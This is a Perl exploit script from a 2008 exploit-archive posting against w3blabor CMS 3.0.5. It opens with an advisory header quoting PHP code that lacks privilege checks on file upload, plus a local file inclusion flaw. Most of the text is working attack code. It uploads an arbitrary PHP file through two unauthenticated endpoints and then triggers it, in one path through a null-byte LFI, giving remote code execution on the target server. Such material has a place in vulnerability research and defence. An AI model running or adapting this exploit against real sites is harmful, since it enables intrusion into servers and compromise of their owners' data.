w3blabor CMS 3.0.5 Arbitrary File Upload & LFI Exploit#!/usr/bin/perl
use LWP::UserAgent;
use HTTP::Request::Common qw(POST);
use Getopt::Long;

#                           \#'#/
#                           (-.-)
#    ------------------oOO---(_)---OOo-----------------
#    |          __             __                     |
#    |    _____/ /_____ ______/ /_  __  ______ ______ |
#    |   / ___/ __/ __ `/ ___/ __ \/ / / / __ `/ ___/ |
#    |  (__  ) /_/ /_/ / /  / /_/ / /_/ / /_/ (__  )  |
#    | /____/\__/\__,_/_/  /_.___/\__,_/\__, /____/   |
#    | Security Research Division      /____/ 2oo8    |
#    --------------------------------------------------
#    |   w3blabor v3.0.5 Arbitrary File Upload & LFI  |
#    --------------------------------------------------
# [!] Discovered.: DNX
# [!] Vendor.....: http://www.w3blaborcms.de
# [!] Detected...: 17.10.2008
# [!] Reported...: 29.11.2008
# [!] Response...: xx.xx.2008
#
# [!] Background.: Sicher! Schnell! Einfach!
#                  Das CMS wurde durch diverse Abfragen und Konfigurationen gegen Hackangriffe
#                  abgesichert. Auch arbeitet es sehr stabil und kommuniziert schnell mit der
#                  angebundenen Datenbank. Die Verwaltung gestaltet sich als besonders einfach im
#                  Gegensatz zu vielen anderen Content Management Systemen - Und genau das macht
#                  es zu etwas Besonderem!
#
# [!] Bug Upload.: in admin/inc/media.inc.php near line 71 (no check on admin privileges)
#
#                  71: if (isset($_GET['action']) && $_GET['action'] == `upload`) {
#
#                  80:          $dir = `../../includes/media`;
#                  81:          $file = $_FILES['datei']['name'];
#
#                  92:          $file = strtolower($file);
#                  93:
#                  94:          move_uploaded_file($_FILES['datei']['tmp_name'],$dir.`/`.$file);
#                  95:          @chmod(``.$dir.``/``.$file.``, 0777);
#
# [!] Bug Upload.: in admin/inc/meinlogo.inc.php near line 45 (no check on admin privileges)
#
#                  45: $neueslogo = $_FILES['neueslogo']['name'];
#                  46: $logopfad = `../../includes/upload/`.$settings['page_logo'].``;
#                  47:
#                  48: $endung = substr ($_FILES['neueslogo']['name'], -3);
#                  49:
#                  50: if (($endung==`jpg`) || ($endung==`peg`) || ($endung==`png`) || ($endung==`gif`) || ($endung==`JPG`) || ($endung==`PEG`) || ($endung==`PNG`) || ($endung==`GIF`)) {
#
#                  54: move_uploaded_file($_FILES['neueslogo']['tmp_name'],`../../includes/upload/`.$neueslogo);
#
# [!] Bug LFI....: $_GET['modul'] in admin/inc/modul.inc.php near line 47 (requires magic_quotes_gpc = Off)
#
#                  43: $modulfile = `../../includes/module/`.$_GET['modul'].`/`.$_GET['datei'].`.inc.php`;
#                  44: 
#                  45: if (file_exists($modulfile)) {
#                  46:
#                  47:         include `../../includes/module/`.$_GET['modul'].`/`.$_GET['datei'].`.inc.php`;
#
# [!] Solution...: no update from vendor till now
#

if(!$ARGV[4])
{
  print `\n                        \\#'#/                    `;
  print `\n                        (-.-)                     `;
  print `\n   ----------------oOO---(_)---OOo----------------`;
  print `\n   | w3blabor v3.0.5 Arbitrary File Upload & LFI |`;
  print `\n   |                coded by DNX                 |`;
  print `\n   -----------------------------------------------`;
  print `\n[!] Usage: perl w3blabor.pl [Host] [Path] <Options>`;
  print `\n[!] Example: perl w3blabor.pl 127.0.0.1 /w3blabor/ -2 -f s.jpg`;
  print `\n[!] Targets:`;
  print `\n       -1              Upload over media.inc.php`;
  print `\n       -2              Upload over meinlogo.inc.php`;
  print `\n[!] Options:`;
  print `\n[!]    -f [filename]   Path to local file with php code`;
  print `\n       -p [ip:port]    Proxy support`;
  print `\n`;
  exit;
}

my $host    = $ARGV[0];
my $path    = $ARGV[1];
my $file    = ``;
my %options = ();
GetOptions(\%options, `1`, `2`, `f=s`, `p=s`);

if($options{`f`})
{
  $file = $options{`f`};
  if(!-e $file)
  {
    print `[!] Failed, local file doesn't exist.\n`;
    exit;
  }
}
else
{
  print `[!] Failed, see usage.\n`;
  exit;
}

print `[!] Exploiting...\n`;

use_bug($host, $path, $file);

print `[!] Exploit done\n`;

sub use_bug
{
  my $host = shift;
  my $path = shift;
  my $file = shift;
  
  my $ua       = LWP::UserAgent->new();
  my $url      = ``;
  my $url2     = ``;
  my $req      = ``;
  $file        =~ /.*[\/|\\](.*)/;
  my $filename = $1;
  
  if($options{`p`})
  {
    $ua->proxy('http', `http://`.$options{`p`});
  }
  
  if($options{`1`})
  {
    $url = 'http://'.$host.$path.'admin/inc/media.inc.php?action=upload';
    $url2 = 'http://'.$host.$path.'includes/media/'.$filename;
    $req = POST $url, Content_Type => 'form-data', Content => [ datei => [$file], ];
  }
  if($options{`2`})
  {
    if($file =~ m/.*\.jpg|peg|png|gif/i)
    {
      $url = 'http://'.$host.$path.'admin/inc/meinlogo.inc.php?action=upload';
      $url2 = 'http://'.$host.$path.'admin/inc/modul.inc.php?modul=../upload/'.$filename.'%00';
      $req = POST $url, Content_Type => 'form-data', Content => [ neueslogo => [$file], ];
    }
    else
    {
      print `[!] Failed, rename your local file to .jpg\n`;
      exit;
    }
  }
  
  $ua->request($req);
  my $res = $ua->get($url2);
  if($res->is_success)
  {
    print `[!] File uploaded\n`;
    print `[!] Check your file @ `.$url2.`\n`;
  }
  else
  {
    print `[!] Failed\n`; 
  }  
}

# milw0rm.com [2008-12-07]